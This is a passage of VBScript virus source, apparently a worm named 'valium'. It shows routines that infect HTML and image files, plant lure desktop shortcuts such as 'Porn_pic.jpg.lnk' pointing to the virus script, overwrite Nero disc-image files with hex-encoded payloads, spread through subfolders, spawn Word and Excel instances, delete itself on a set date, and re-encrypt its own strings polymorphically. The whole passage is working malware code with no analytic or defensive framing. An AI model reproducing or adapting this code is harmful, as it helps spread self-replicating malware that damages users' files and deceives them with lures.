set c = fso.opentextfile(Wscript.scriptfullname)
bc = c.readall
c.close
a.writeline "<!---->"
a.writeline "<html><Body><Script language=" & chr(34) & "VBScript" & chr(34) & ">"
a.write bc
a.writeline "<" & chr(47) & "script></body></html>"
a.write b
a.close
end if
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Graphical infection
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="bmp" or fso.GetExtensionName(file.path)="jpg" or fso.GetExtensionName(file.path)="gif" or fso.GetExtensionName(file.path)="ico" then
on error resume next
set fso = createobject("scripting.filesystemobject")
set runer = wscript.CreateObject("wscript.shell")
set tes = fso.opentextfile(Wscript.Scriptfullname,1)
scr = tes.readall
bathelp = file.path & ".bat"
Set dropper = Fso.Createtextfile(bathelp, True)
dropper.writeline "Attrib +h " & file.path
dropper.Close
runer.run bathelp
Fso.Deletefile bathelp
vbscopy = file.path & ".jgp"
Set dropper2 = Fso.Createtextfile(vbscopy, True)
dropper2.write "CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ").run " & chr(34) & file.path & chr(34) & vbcrlf
dropper2.write scr
dropper2.Close
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Create lnk file at desktop and link it to the valium(win9x,Me)
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
if fso.FolderExists("C:\windows\Desktop") then
on error resume next
set shell=wscript.createobject("wscript.shell")
set msc=shell.CreateShortCut("C:\windows\Desktop\Porn_pic.jpg.lnk")
msc.TargetPath = Shell.ExpandEnvironmentStrings("C:\windows\valium.vbs")
msc.WindowStyle = 4
msc.Save
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Create lnk file at desktop and link it to the valium(Xp,Nt)
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
if fso.FolderExists("C:\Documents and Settings\All Users\Desktop") then
on error resume next
set executor=wscript.createobject("wscript.shell")
set msc=executor.CreateShortCut("C:\Documents and Settings\All Users\Desktop\Porno-pic.jpg.lnk")
msc.TargetPath = executor.ExpandEnvironmentStrings("C:\windows\valium.vbs")
msc.IconLocation = Shell.ExpandEnvironmentStrings("C:\windows\system32\mspaint.exe, 0")
msc.WindowStyle = 4
msc.Save
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Nrb infection
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="nrb" then
a = "0E4E65726F49534F302E30322E303301000000010000000000124"
b = "E45524F202D204255524E494E4720524F4D0000003428F9403428"
c = "F940FFFFFFFFFFFFFFFF000000003428F94001000000000000000"
d = "1000000010000000100000001000000074D792044697363074D79"
e = "20446973631000000000000000000000000180568737016CC4018"
f = "072D545016CC40180568737016CC4010000400000000000000000"
g = "0000000002000000433A01000000010700000057494E444F57530"
h = "1000000000100000C73797374656D43442E766273200000000000"
i = "00000200000000E096F8B33B6CC401002B70BA3B6CC40180B5D34"
j = "0016CC40100000010025F5F5F3156434431060001000000040000"
k = "00000045444A4F030001000000010002444F535F0E00010000000"
l = "C0053595354454D43442E5642534653495A0A0001000000080000"
m = "000000000000005052494F0A00020000000400000000000400000"
n = "00000454E44210200000000000000000000000000425553546A00"
o = "00000000000001000000010000000000000000000000000000000"
p = "100000001000000010000000000000000000100FFFFFF7F000000"
q = "00000000000100000000000000010000000000000000000000000"
r = "000000000000000000100000000000000000000004B4E554A544F"
s = "4F4200000000FFFFFFFF2E433A5C50524F4752414D2046494C455"
t = "35C41484541445C4E45524F5C4472446F73426F6F74696D616765"
u = "2E494D41C0070100020059484F4E534D544217437265617465642"
v = "06279204E65726F20457870726573734C4F564A034E4557000000"
w = "00124E65726F202D204275726E696E6720524F4D0000000100000"
x = "0544E454E4644554E58454F4200000000
GenCode = a&b&c&d&e&f&g&h&i&j&k&l&m&n&o&p&q&r&s&t&u&v&w&x
For letscount = 1 To Len(GenCode) Step 2
NewCode = NewCode & Chr("&h"& Mid(GenCode, letscount, 2))
next
Set nrbinfector = fso.createtextfile(file.path, True)
nrbinfector.write NewCode
nrbinfector.close
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Nri Infection
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="nri" then
a = "0E4E65726F49534F302E30322E3033010000000100000000001"
b = "24E45524F202D204255524E494E4720524F4D000000F827F940"
c = "F827F940FFFFFFFFFFFFFFFF00000000F827F94001000000000"
d = "0000001000000010000000100000000000000074D7920446973"
e = "63074D7920446973631000000000000000000000000140CBC31"
f = "B016CC401A0811333016CC40140CBC31B016CC4010000400000"
g = "0000000000000000000002000000433A0100000001070000005"
h = "7494E444F575301000000000100000C73797374656D43442E76"
i = "627320000000000000000200000000E096F8B33B6CC401002B7"
j = "0BA3B6CC40120B8FD28016CC40100000010025F5F5F31564344"
k = "3106000100000004000000000045444A4F03000100000001000"
l = "2444F535F0E00010000000C0053595354454D43442E56425346"
m = "53495A0A0001000000080000000000000000005052494F0A000"
n = "2000000040000000000040000000000454E4421020000000000"
o = "0000000000000000425553546A0000000000000001000000010"
p = "000000000000000000000000000000100000000000000010000"
q = "000000000000000100FFFFFF7F0000000000000000010000000"
r = "000000001000000000000000000000000000000000000000000"
s = "0100000000000000000000004B4E554A54424F4E59484F4E534"
t = "D5442154E65726F20426F6F742D4C6F616465722056332E304C"
u = "4F564A034E455700000000124E65726F202D204275726E696E6"
v = "720524F4D00000001000000544E454E4644554E45424F4E"
GenCode = a&b&c&d&e&f&g&h&i&j&k&l&m&n&o&p&q&r&s&t&u&v
For letscount = 1 To Len(GenCode) Step 2
NewCode = NewCode & Chr("&h"& Mid(GenCode, letscount, 2))
next
Set nrinfector = fso.createtextfile(file.path, True)
nrinfector.write NewCode
nrinfector.close
end if
Set Subfolders = folder.SubFolders
For Each Subfolder in Subfolders
Dosearch Subfolder.path
Next
end function
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Just an crazy tough,simple memory resident for scripts
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
for i = 1 to 20:Set w = CreateObject("Word.application"):Set e = CreateObject("ExCeL.application"):next
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Self destruction
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
if day(now) = 1 and month(now) = 1 and year(now) = 2006 then
set fso = createobject("scripting.filesystemobject")
fso.deletefile wscript.scriptfullname
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Polymorph,Self crypting with simple epo,you know it also vulnerable for script,but it need to drop
'file for buffer characters
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
set fso = createobject("scripting.filesystemobject")
set op = fso.opentextfile(wscript.scriptfullname,1)
set parser = fso.Createtextfile("C:\poly.txt",true)
do while mark <> "'valium"
mark = op.readline
for i = 1 to len(mark)
c = mid(mark,i,1)
if c = chr(34) then
Call Poly
else
parser.write c
end if
if i = len(mark) then
parser.write vbcrlf
end if
next
loop
sub Poly()
Counter = i
do while enc <> chr(34)
Counter = Counter + 1
enc = mid(mark,Counter,1)
if enc = chr(34) then exit do
char = char & enc
loop
all = "decrypt(" & chr(34) & strreverse(char) & chr(34) & ")"
parser.write all
i = Counter
end sub
op.close
parser.close
set back = fso.opentextfile("C:\poly.txt",1)
reader = back.readall
set wrtall = fso.Createtextfile("C:\poly.txt",true)
wrtall.write reader
wrtall.writeline "function decrypt(x)" & vbcrlf & "Decrypt = strreverse(x):end function"
fso.copyfile "C:\poly.txt",wscript.scriptfullname
'valium